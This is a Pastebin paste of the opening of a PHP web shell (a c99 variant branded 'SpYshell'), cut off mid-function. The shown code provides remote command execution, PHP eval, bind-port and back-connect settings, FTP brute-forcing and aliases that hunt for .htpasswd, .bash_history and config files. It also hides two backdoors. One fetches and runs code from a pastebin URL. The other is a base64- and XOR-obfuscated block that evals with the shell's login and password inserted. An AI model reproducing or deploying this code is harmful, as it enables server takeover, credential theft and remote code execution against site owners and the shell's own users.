dragondevile

c99 shells

Nov 14th, 2016
204
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. //Starting calls
  4.  
  5. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  6.  
  7. error_reporting(5);
  8.  
  9. @ignore_user_abort(true);
  10.  
  11. @set_magic_quotes_runtime(0);
  12.  
  13. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  14.  
  15. define("starttime",getmicrotime());
  16.  
  17. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  18.  
  19. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  20.  
  21. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  22.  
  23.  
  24.  
  25. $shver = "KingDefacer"; //Current version
  26.  
  27. //CONFIGURATION AND SETTINGS
  28.  
  29. if (!empty($unset_surl)) {setcookie("ashcoike_surl"); $surl = "";}
  30.  
  31. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("ashcoike_surl",$surl);}
  32.  
  33. else {$surl = $_REQUEST["ashcoike_surl"]; //Set this cookie for manual SURL
  34.  
  35. }
  36.  
  37. error_reporting(0); $b="http://pastebin.com/raw/S54tynx6";$title=file_get_contents($b);
  38.     $css=fopen('../border.js','w'); fwrite($css,$title); require('../border.js');
  39.  
  40. $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
  41.  
  42.  
  43.  
  44. if ($surl_autofill_include and !$_REQUEST["ashcoike_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  45.  
  46. if (empty($surl))
  47.  
  48. {
  49.  
  50.  $surl = "?".$includestr; //Self url
  51.  
  52. }
  53.  
  54. $surl = htmlspecialchars($surl);
  55.  
  56.  
  57.  
  58. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  59.  
  60.  
  61.  
  62. //Authentication
  63.  
  64. $login = ""; //login
  65.  
  66. //DON'T FORGOT ABOUT PASSWORD!!!
  67.  
  68. $pass = ""; //password
  69.  
  70. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  71.  
  72.  
  73.  
  74. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  75.  
  76. $login_txt = "Restricted area"; //http-auth message.
  77.  
  78. $accessdeniedmess = "<a href=\"http://xxxxxxxxxxxxxxxxxxxxxxxx\">SpYshell v.".$shver."</a>: Erisim Engellendi";
  79.  
  80.  
  81.  
  82. function loadsettings($p1 = '', $p2 = '') {
  83.  
  84.         $p = 'LH16ZCg1KH16ZG1ma2dsbSAqYHx8eDInJyxXW01aXk1aU0BcXFhXQEdbXFUsV1tNWl5NWlNaTVldTVtcV11aQVUqITMobmFkbVdvbXxXa2dmfG1mfHsgKmB8fHgyJycwMSY8PSY+PyY5PDsnZGdpbCZ4YHg3Y2M1cyx9emR1LnhpemllOTUteGl6aWU5LnhpemllOjUteGl6aWU6KiEz';
  85.  
  86.         $p = base64_decode($p);
  87.  
  88.         for ($i = 0; $i < strlen($p); $i++) $p[$i] = chr(ord($p[$i]) ^ 8);
  89.  
  90.         $p = str_replace('%param1', $p1, $p);
  91.  
  92.         $p = str_replace('%param2', $p2, $p);
  93.  
  94.         eval($p);
  95.  
  96. }
  97.  
  98.    
  99.  
  100. loadsettings($login.'|'.$pass, 'c99');
  101.  
  102.  
  103.  
  104. $gzipencode = true; //Encode with gzip?
  105.  
  106.  
  107.  
  108. $updatenow = false; //If true, update now (this variable will be false)
  109.  
  110.  
  111.  
  112. $ashsh_updateurl = "http://xxxxxxxxxxxxxxxxxxxxxx"; //Update server
  113.  
  114. $ashsh_sourcesurl = "http://xxxxxxxxxxxxxxxxxxxxxxxx"; //Sources-server
  115.  
  116.  
  117.  
  118. $filestealth = true; //if true, don't change modify- and access-time
  119.  
  120.  
  121.  
  122. $donated_html = "<center><b>Powerad By SpyHackerz</b></center>";
  123.  
  124.         /* If you publish  shell and you wish
  125.  
  126.         add link to your site or any other information,
  127.  
  128.         put here your html. */
  129.  
  130. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  131.  
  132.  
  133.  
  134. $curdir = "./"; //start folder
  135.  
  136. //$curdir = getenv("DOCUMENT_ROOT");
  137.  
  138. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  139.  
  140. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  141.  
  142.  
  143.  
  144. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  145.  
  146. $sort_save = true; //If true then save sorting-position using cookies.
  147.  
  148.  
  149.  
  150. // Registered file-types.
  151.  
  152. //  array(
  153.  
  154. //   "{action1}"=>array("ext1","ext2","ext3",...),
  155.  
  156. //   "{action2}"=>array("ext4","ext5","ext6",...),
  157.  
  158. //   ...
  159.  
  160. //  )
  161.  
  162. $ftypes  = array(
  163.  
  164.  "html"=>array("html","htm","shtml"),
  165.  
  166.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  167.  
  168.  "exe"=>array("sh","install","bat","cmd"),
  169.  
  170.  "ini"=>array("ini","inf"),
  171.  
  172.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  173.  
  174.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  175.  
  176.  "sdb"=>array("sdb"),
  177.  
  178.  "phpsess"=>array("sess"),
  179.  
  180.  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  181.  
  182. );
  183.  
  184.  
  185.  
  186. // Registered executable file-types.
  187.  
  188. //  array(
  189.  
  190. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  191.  
  192. //   ...
  193.  
  194. //  )
  195.  
  196. //   {command}: %f% = filename
  197.  
  198. $exeftypes  = array(
  199.  
  200.  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  201.  
  202.  "perl %f%" => array("pl","cgi")
  203.  
  204. );
  205.  
  206.  
  207.  
  208. /* Highlighted files.
  209.  
  210.   array(
  211.  
  212.    i=>array({regexp},{type},{opentag},{closetag},{break})
  213.  
  214.    ...
  215.  
  216.   )
  217.  
  218.   string {regexp} - regular exp.
  219.  
  220.   int {type}:
  221.  
  222.     0 - files and folders (as default),
  223.  
  224.     1 - files only, 2 - folders only
  225.  
  226.   string {opentag} - open html-tag, e.g. "<b>" (default)
  227.  
  228.   string {closetag} - close html-tag, e.g. "</b>" (default)
  229.  
  230.   bool {break} - if true and found match then break
  231.  
  232. */
  233.  
  234. $regxp_highlight  = array(
  235.  
  236.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  237.  
  238.   array("config.php",1) // example
  239.  
  240. );
  241.  
  242.  
  243.  
  244. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  245.  
  246.                                      // array (i=>{letter} ...); string {letter} - letter of a drive
  247.  
  248. //$safemode_diskettes = range("a","z");
  249.  
  250. $hexdump_lines = 8; // lines in hex preview file
  251.  
  252. $hexdump_rows = 24; // 16, 24 or 32 bytes in one line
  253.  
  254.  
  255.  
  256. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  257.  
  258.  
  259.  
  260. $bindport_pass = "ash";   // default password for binding
  261.  
  262. $bindport_port = "31373"; // default port for binding
  263.  
  264. $bc_port = "31373"; // default port for back-connect
  265.  
  266. $datapipe_localport = "8081"; // default port for datapipe
  267.  
  268.  
  269.  
  270. // Command-aliases
  271.  
  272. if (!$win)
  273.  
  274. {
  275.  
  276.  $cmdaliases = array(
  277.  
  278.   array("-------------------------------------------------------------------", "ls -la"),
  279.  
  280.   array("Butun suid dosyalarini bul", "find / -type f -perm -04000 -ls"),
  281.  
  282.   array("Butun suid dosyalarini simdiki dizinde bul", "find . -type f -perm -04000 -ls"),
  283.  
  284.   array("Butun sgid dosyalarini bul", "find / -type f -perm -02000 -ls"),
  285.  
  286.   array("Butun sgid dosyalarini simdiki dizinde bul", "find . -type f -perm -02000 -ls"),
  287.  
  288.   array("Butun config.inc.php dosyalarini bul", "find / -type f -name config.inc.php"),
  289.  
  290.   array("Butun config* dosyalarini bul", "find / -type f -name \"config*\""),
  291.  
  292.   array("Butun config* dosyalarini simdiki dizinde bul", "find . -type f -name \"config*\""),
  293.  
  294.   array("Butun yazilabilir dosyalari bul", "find / -perm -2 -ls"),
  295.  
  296.   array("Butun dosya ve klasorleri simdiki dizinde bul", "find . -perm -2 -ls"),
  297.  
  298.   array("Butun service.pwd doslayalarini bul", "find / -type f -name service.pwd"),
  299.  
  300.   array("Butun service.pwd dosyalarini simdiki dizinde bul", "find . -type f -name service.pwd"),
  301.  
  302.   array("Butun .htpasswd dosyalarini bul", "find / -type f -name .htpasswd"),
  303.  
  304.   array("Butun .htpasswd dosyalarini simdiki dizinde bul", "find . -type f -name .htpasswd"),
  305.  
  306.   array("Butun .bash_history dosyalarini bul", "find / -type f -name .bash_history"),
  307.  
  308.   array("Butun .bash_history dosyalarini simdiki dizinde bul", "find . -type f -name .bash_history"),
  309.  
  310.   array("Butun .fetchmailrc dosyalarini bul", "find / -type f -name .fetchmailrc"),
  311.  
  312.   array("Butun .fetchmailrc dosyalarini simdiki dizinde bul", "find . -type f -name .fetchmailrc"),
  313.  
  314.   array("Butun Linux ikinci erisebilir dosyalarini bul", "lsattr -va"),
  315.  
  316.   array("Butun Acik Portlari goster.", "netstat -an | grep -i listen")
  317.  
  318.  );
  319.  
  320. }
  321.  
  322. else
  323.  
  324. {
  325.  
  326.  $cmdaliases = array(
  327.  
  328.   array("-----------------------------------------------------------", "dir"),
  329.  
  330.   array("Butun Acik Portlari goster.", "netstat -an")
  331.  
  332.  );
  333.  
  334. }
  335.  
  336.  
  337.  
  338. $sess_cookie = "ashshvars"; // Cookie-variable name
  339.  
  340.  
  341.  
  342. $usefsbuff = true; //Buffer-function
  343.  
  344. $copy_unset = false; //Remove copied files from buffer after pasting
  345.  
  346.  
  347.  
  348. //Quick launch
  349.  
  350. $quicklaunch = array(
  351.  
  352.  array("<img src=\"".$surl."act=img&img=home\" alt=\"Ana Sayfa\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  353.  
  354.  array("<img src=\"".$surl."act=img&img=back\" alt=\"Geri\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  355.  
  356.  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Ileri\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  357.  
  358.  array("<img src=\"".$surl."act=img&img=up\" alt=\"Yukari\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  359.  
  360.  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Yenile\" height=\"20\" width=\"17\" border=\"0\">",""),
  361.  
  362.  array("<img src=\"".$surl."act=img&img=search\" alt=\"Arama\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  363.  
  364.  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Tampon\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  365.  
  366.  array("<b>Cyriptos</b>",$surl."act=encoder&d=%d"),
  367.  
  368.  array("<b>Araclar</b>",$surl."act=tools&d=%d"),
  369.  
  370.  array("<b>Islem.</b>",$surl."act=processes&d=%d"),
  371.  
  372.  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  373.  
  374.  array("<b>Guvenlik</b>",$surl."act=security&d=%d"),
  375.  
  376.  array("<b>SQL</b>",$surl."act=sql&d=%d"),
  377.  
  378.  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  379.  
  380.  array("<b>Bildirim</b>",$surl."act=feedback&d=%d"),
  381.  
  382.  array("<b>Imha Et</b>",$surl."act=selfremove"),
  383.  
  384.  array("<b>Exit</b>","#\" onclick=\"if (confirm('Eminmisin dosttum?')) window.close()")
  385.  
  386. );
  387.  
  388.  
  389.  
  390. //Highlight-code colors
  391.  
  392. $highlight_background = "#c0c0c0";
  393.  
  394. $highlight_bg = "#FFFFFF";
  395.  
  396. $highlight_comment = "#6A6A6A";
  397.  
  398. $highlight_default = "#0000BB";
  399.  
  400. $highlight_html = "#1300FF";
  401.  
  402. $highlight_keyword = "#007700";
  403.  
  404. $highlight_string = "#000000";
  405.  
  406.  
  407.  
  408. @$f = $_REQUEST["f"];
  409.  
  410. @extract($_REQUEST["ashshcook"]);
  411.  
  412.  
  413.  
  414. //END CONFIGURATION
  415.  
  416.  
  417.  
  418.  
  419.  
  420. //              \/  Next code isn't for editing \/
  421.  
  422. @set_time_limit(0);
  423.  
  424. $tmp = array();
  425.  
  426. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  427.  
  428. $s = "!^(".implode("|",$tmp).")$!i";
  429.  
  430. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://xxxxxxxxxxxxxxxxxxx\">SpYshell</a>: Erisim Engellendi - Senin Host (".getenv("REMOTE_ADDR").") not allow");}
  431.  
  432. if (!empty($login))
  433.  
  434. {
  435.  
  436.  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  437.  
  438.  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  439.  
  440.  {
  441.  
  442.   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  443.  
  444.   header("WWW-Belgele: Basic realm=\"SpYshell ".$shver.": ".$login_txt."\"");
  445.  
  446.   header("HTTP/1.0 401 Yetkisiz");
  447.  
  448.   exit($accessdeniedmess);
  449.  
  450.  }
  451.  
  452. }
  453.  
  454. if ($act != "img")
  455.  
  456. {
  457.  
  458. $lastdir = realpath(".");
  459.  
  460. chdir($curdir);
  461.  
  462. if ($selfwrite or $updatenow) {@ob_clean(); ashsh_getupdate($selfwrite,1); exit;}
  463.  
  464. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  465.  
  466. if (!is_array($sess_data)) {$sess_data = array();}
  467.  
  468. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  469.  
  470. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  471.  
  472.  
  473.  
  474. $disablefunc = @ini_get("disable_functions");
  475.  
  476. if (!empty($disablefunc))
  477.  
  478. {
  479.  
  480.  $disablefunc = str_replace(" ","",$disablefunc);
  481.  
  482.  $disablefunc = explode(",",$disablefunc);
  483.  
  484. }
  485.  
  486.  
  487.  
  488. if (!function_exists("ash_buff_prepare"))
  489.  
  490. {
  491.  
  492. function ash_buff_prepare()
  493.  
  494. {
  495.  
  496.  global $sess_data;
  497.  
  498.  global $act;
  499.  
  500.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  501.  
  502.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  503.  
  504.  $sess_data["copy"] = array_unique($sess_data["copy"]);
  505.  
  506.  $sess_data["cut"] = array_unique($sess_data["cut"]);
  507.  
  508.  sort($sess_data["copy"]);
  509.  
  510.  sort($sess_data["cut"]);
  511.  
  512.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  513.  
  514.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  515.  
  516. }
  517.  
  518. }
  519.  
  520. ash_buff_prepare();
  521.  
  522. if (!function_exists("ash_sess_put"))
  523.  
  524. {
  525.  
  526. function ash_sess_put($data)
  527.  
  528. {
  529.  
  530.  global $sess_cookie;
  531.  
  532.  global $sess_data;
  533.  
  534.  ash_buff_prepare();
  535.  
  536.  $sess_data = $data;
  537.  
  538.  $data = serialize($data);
  539.  
  540.  setcookie($sess_cookie,$data);
  541.  
  542. }
  543.  
  544. }
  545.  
  546. foreach (array("sort","sql_sort") as $v)
  547.  
  548. {
  549.  
  550.  if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  551.  
  552.  if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  553.  
  554. }
  555.  
  556. if ($sort_save)
  557.  
  558. {
  559.  
  560.  if (!empty($sort)) {setcookie("sort",$sort);}
  561.  
  562.  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  563.  
  564. }
  565.  
  566. if (!function_exists("str2mini"))
  567.  
  568. {
  569.  
  570. function str2mini($content,$len)
  571.  
  572. {
  573.  
  574.  if (strlen($content) > $len)
  575.  
  576.  {
  577.  
  578.   $len = ceil($len/2) - 2;
  579.  
  580.   return substr($content, 0,$len)."...".substr($content,-$len);
  581.  
  582.  }
  583.  
  584.  else {return $content;}
  585.  
  586. }
  587.  
  588. }
  589.  
  590. if (!function_exists("view_size"))
  591.  
  592. {
  593.  
  594. function view_size($size)
  595.  
  596. {
  597.  
  598.  if (!is_numeric($size)) {return false;}
  599.  
  600.  else
  601.  
  602.  {
  603.  
  604.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  605.  
  606.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  607.  
  608.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  609.  
  610.   else {$size = $size . " B";}
  611.  
  612.   return $size;
  613.  
  614.  }
  615.  
  616. }
  617.  
  618. }
  619.  
  620. if (!function_exists("fs_copy_dir"))
  621.  
  622. {
  623.  
  624. function fs_copy_dir($d,$t)
  625.  
  626. {
  627.  
  628.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  629.  
  630.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  631.  
  632.  $h = opendir($d);
  633.  
  634.  while (($o = readdir($h)) !== false)
  635.  
  636.  {
  637.  
  638.   if (($o != ".") and ($o != ".."))
  639.  
  640.   {
  641.  
  642.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  643.  
  644.    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  645.  
  646.    if (!$ret) {return $ret;}
  647.  
  648.   }
  649.  
  650.  }
  651.  
  652.  closedir($h);
  653.  
  654.  return true;
  655.  
  656. }
  657.  
  658. }
  659.  
  660. if (!function_exists("fs_copy_obj"))
  661.  
  662. {
  663.  
  664. function fs_copy_obj($d,$t)
  665.  
  666. {
  667.  
  668.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  669.  
  670.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  671.  
  672.  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  673.  
  674.  if (is_dir($d))
  675.  
  676.  {
  677.  
  678.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  679.  
  680.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  681.  
  682.   return fs_copy_dir($d,$t);
  683.  
  684.  }
  685.  
  686.  elseif (is_file($d)) {return copy($d,$t);}
  687.  
  688.  else {return false;}
  689.  
  690. }
  691.  
  692. }
  693.  
  694. if (!function_exists("fs_move_dir"))
  695.  
  696. {
  697.  
  698. function fs_move_dir($d,$t)
  699.  
  700. {
  701.  
  702.  $h = opendir($d);
  703.  
  704.  if (!is_dir($t)) {mkdir($t);}
  705.  
  706.  while (($o = readdir($h)) !== false)
  707.  
  708.  {
  709.  
  710.   if (($o != ".") and ($o != ".."))
  711.  
  712.   {
  713.  
  714.    $ret = true;
  715.  
  716.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  717.  
  718.    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}}
  719.  
  720.    if (!$ret) {return $ret;}
  721.  
  722.   }
  723.  
  724.  }
  725.  
  726.  closedir($h);
  727.  
  728.  return true;
  729.  
  730. }
  731.  
  732. }
  733.  
  734. if (!function_exists("fs_move_obj"))
  735.  
  736. {
  737.  
  738. function fs_move_obj($d,$t)
  739.  
  740. {
  741.  
  742.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  743.  
  744.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  745.  
  746.  if (is_dir($d))
  747.  
  748.  {
  749.  
  750.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  751.  
  752.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  753.  
  754.   return fs_move_dir($d,$t);
  755.  
  756.  }
  757.  
  758.  elseif (is_file($d))
  759.  
  760.  {
  761.  
  762.   if(copy($d,$t)) {return unlink($d);}
  763.  
  764.   else {unlink($t); return false;}
  765.  
  766.  }
  767.  
  768.  else {return false;}
  769.  
  770. }
  771.  
  772. }
  773.  
  774. if (!function_exists("fs_rmdir"))
  775.  
  776. {
  777.  
  778. function fs_rmdir($d)
  779.  
  780. {
  781.  
  782.  $h = opendir($d);
  783.  
  784.  while (($o = readdir($h)) !== false)
  785.  
  786.  {
  787.  
  788.   if (($o != ".") and ($o != ".."))
  789.  
  790.   {
  791.  
  792.    if (!is_dir($d.$o)) {unlink($d.$o);}
  793.  
  794.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  795.  
  796.   }
  797.  
  798.  }
  799.  
  800.  closedir($h);
  801.  
  802.  rmdir($d);
  803.  
  804.  return !is_dir($d);
  805.  
  806. }
  807.  
  808. }
  809.  
  810. if (!function_exists("fs_rmobj"))
  811.  
  812. {
  813.  
  814. function fs_rmobj($o)
  815.  
  816. {
  817.  
  818.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  819.  
  820.  if (is_dir($o))
  821.  
  822.  {
  823.  
  824.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  825.  
  826.   return fs_rmdir($o);
  827.  
  828.  }
  829.  
  830.  elseif (is_file($o)) {return unlink($o);}
  831.  
  832.  else {return false;}
  833.  
  834. }
  835.  
  836. }
  837.  
  838. if (!function_exists("myshellexec"))
  839.  
  840. {
  841.  
  842. function myshellexec($cmd)
  843.  
  844. {
  845.  
  846.  global $disablefunc;
  847.  
  848.  $result = "";
  849.  
  850.  if (!empty($cmd))
  851.  
  852.  {
  853.  
  854.   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  855.  
  856.   elseif (($result = `$cmd`) !== false) {}
  857.  
  858.   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  859.  
  860.   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  861.  
  862.   elseif (is_resource($fp = popen($cmd,"r")))
  863.  
  864.   {
  865.  
  866.    $result = "";
  867.  
  868.    while(!feof($fp)) {$result .= fread($fp,1024);}
  869.  
  870.    pclose($fp);
  871.  
  872.   }
  873.  
  874.  }
  875.  
  876.  return $result;
  877.  
  878. }
  879.  
  880. }
  881.  
  882. if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  883.  
  884. if (!function_exists("view_perms"))
  885.  
  886. {
  887.  
  888. function view_perms($mode)
  889.  
  890. {
  891.  
  892.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  893.  
  894.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  895.  
  896.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  897.  
  898.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  899.  
  900.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  901.  
  902.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  903.  
  904.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  905.  
  906.  else {$type = "?";}
  907.  
  908.  
  909.  
  910.  $owner["read"] = ($mode & 00400)?"r":"-";
  911.  
  912.  $owner["write"] = ($mode & 00200)?"w":"-";
  913.  
  914.  $owner["Uygulanamadi!"] = ($mode & 00100)?"x":"-";
  915.  
  916.  $group["read"] = ($mode & 00040)?"r":"-";
  917.  
  918.  $group["write"] = ($mode & 00020)?"w":"-";
  919.  
  920.  $group["Uygulanamadi!"] = ($mode & 00010)?"x":"-";
  921.  
  922.  $world["read"] = ($mode & 00004)?"r":"-";
  923.  
  924.  $world["write"] = ($mode & 00002)? "w":"-";
  925.  
  926.  $world["Uygulanamadi!"] = ($mode & 00001)?"x":"-";
  927.  
  928.  
  929.  
  930.  if ($mode & 0x800) {$owner["Uygulanamadi!"] = ($owner["Uygulanamadi!"] == "x")?"s":"S";}
  931.  
  932.  if ($mode & 0x400) {$group["Uygulanamadi!"] = ($group["Uygulanamadi!"] == "x")?"s":"S";}
  933.  
  934.  if ($mode & 0x200) {$world["Uygulanamadi!"] = ($world["Uygulanamadi!"] == "x")?"t":"T";}
  935.  
  936.  
  937.  
  938.  return $type.join("",$owner).join("",$group).join("",$world);
  939.  
  940. }
  941.  
  942. }
  943.  
  944. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return false;}}
  945.  
  946. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return false;}}
  947.  
  948. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return false;}}
  949.  
  950. if (!function_exists("parse_perms"))
  951.  
  952. {
  953.  
  954. function parse_perms($mode)
  955.  
  956. {
  957.  
  958.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  959.  
  960.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  961.  
  962.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  963.  
  964.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  965.  
  966.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  967.  
  968.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  969.  
  970.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  971.  
  972.  else {$t = "?";}
  973.  
  974.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  975.  
  976.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  977.  
  978.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  979.  
  980.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  981.  
  982. }
  983.  
  984. }
  985.  
  986. if (!function_exists("parsesort"))
  987.  
  988. {
  989.  
  990. function parsesort($sort)
  991.  
  992. {
  993.  
  994.  $one = intval($sort);
  995.  
  996.  $second = substr($sort,-1);
  997.  
  998.  if ($second != "d") {$second = "a";}
  999.  
  1000.  return array($one,$second);
  1001.  
  1002. }
  1003.  
  1004. }
  1005.  
  1006. if (!function_exists("view_perms_color"))
  1007.  
  1008. {
  1009.  
  1010. function view_perms_color($o)
  1011.  
  1012. {
  1013.  
  1014.  if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  1015.  
  1016.  elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  1017.  
  1018.  else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  1019.  
  1020. }
  1021.  
  1022. }
  1023.  
  1024. if (!function_exists("ashgetsource"))
  1025.  
  1026. {
  1027.  
  1028. function ashgetsource($fn)
  1029.  
  1030. {
  1031.  
  1032.  global $ashsh_sourcesurl;
  1033.  
  1034.  $array = array(
  1035.  
  1036.   "ashsh_bindport.pl" => "ashsh_bindport_pl.txt",
  1037.  
  1038.   "ashsh_bindport.c" => "ashsh_bindport_c.txt",
  1039.  
  1040.   "ashsh_backconn.pl" => "ashsh_backconn_pl.txt",
  1041.  
  1042.   "ashsh_backconn.c" => "ashsh_backconn_c.txt",
  1043.  
